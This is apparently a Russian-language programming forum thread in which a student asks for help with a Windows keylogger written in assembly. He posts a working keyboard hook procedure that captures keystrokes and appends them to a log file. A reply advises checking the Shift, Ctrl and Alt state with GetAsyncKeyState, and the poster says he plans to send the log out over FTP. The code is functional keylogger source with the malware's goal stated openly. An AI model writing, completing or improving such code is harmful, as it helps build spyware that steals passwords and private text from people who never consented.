Добрый вечер. Я разрабатываю кейлоггер (использую ассемблер и Win Api ). Моя проблема заключается в том что Я записываю в файл нажатия всех символьных клавиш КРОМЕ клавиш нажатых с включённым Caps Lock и клавиш с нажатым SHIFT. Кто знает как мне решить эту проблему? Писать самому функцию обработки? Или использовать средства Win Api ? Могу выложить куски кода, которые у меня уже есть, если надо.
Каким боком тема в WASM.LANG.C ? Читать классиков ноне не принято, Петцольда или Ицзелиона в конце концов ?
Попала потому что мне главное идея как это сделать, пока-что Я к этому сам не додумался, есть одна идея - но это будет не оптимально. Вот и хотел бы спросить у людей мудрого совета. Ицзелиона - читал, но не нашёл того что мне надо.
Код [modnote=TermoSINteZ]Не забываем использовать тег code[/modnote] Код (Text): TestFunction proc code:DWORD, wParam:WPARAM, lParam:LPARAM push ebp mov ebp, esp push ebx push esi push edi mov hhk, eax ; передаю хендл библиотеки через EAX cmp code, 0 JL @m1 invoke GetAsyncKeyState, lParam ;проверяю отпущена ли клавиша, что-бы не было повторов символов при записи в файл and EAX,0000000Fh cmp eax, 1 JNE @m1 invoke GetKeyboardLayoutName, addr pwszKLID invoke LoadKeyboardLayout, addr pwszKLID, KLF_SUBSTITUTE_OK mov dwhkl, eax invoke GetKeyboardState, lpKeyState invoke ToAsciiEx, lParam, wParam, addr lpKeyState, addr lpChar, 1, dwhkl mov eax, lpChar mov Ui, al ; mov eax, lParam and eax, 000000FFh cmp al, 0h ; делаю сравнения, что бы не писать в файл не нужную инфу, а именно управляющие символы JE @m1 cmp al, 3h JE @m1 cmp al, 9h JE @m1 cmp al, 8h JE @m1 cmp al, 0Dh JE @m1 cmp al, 0Ah JE @m1 cmp al, 10h JE @m1 cmp al, 11h JE @m1 cmp al, 12h JE @m1 cmp al, 23h JE @m1 invoke CreateFile, addr CrkPrg, GENERIC_WRITE, NULL, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL mov hFile, eax invoke SetFilePointer, hFile, 0, NULL, FILE_END invoke WriteFile, hFile, addr Ui, 1, addr lpNumberOfBytesWritten, NULL invoke CloseHandle, hFile @m1: invoke CallNextHookEx, hhk, code, wParam, lParam invoke UnhookWindowsHookEx, hhk pop edi pop esi pop ebx pop ebp ret 12 TestFunction endp при использовании данной функции записываються символы русского и английского языка, но только в нижнем регистре и и как говорил выше не определяет нажатия клавиш с SHIFTом и Caps Lock Капец, Я очень не уважный . Надо было написать вот так: invoke GetKeyboardState, addr lpKeyState
как-то не очень хорошо все организовано, сам подумай куда и как вставишь invoke GetAsyncKeyState, VK_SHIFT invoke GetAsyncKeyState, VK_CONTROL invoke GetAsyncKeyState, VK_MENU и проверку после вызова каждой функции типа invoke GetAsyncKeyState, VK_CONTROL test eax, 08000h ; 00000000000000001000000000000000b jnz @label
Спасибо, Asterix, за совет и за ссылку, это Я тоже думал сделать, делаю всё поэтапно, от малого к большому, сейчас главное то что реализован перехват, потом можно будет дополнить код, на счёт проверки после вызова функций ты прав, надо сделать. На днях реализую передачу файла по FTP-протоколу, может ещё что-то подобное для самообучения. Я новичок ещё в Win API, мы сейчас изучаем ассемблер, пишем курсовую, сказали что можете выбрать свою тему, вот и решил попрактиковаться.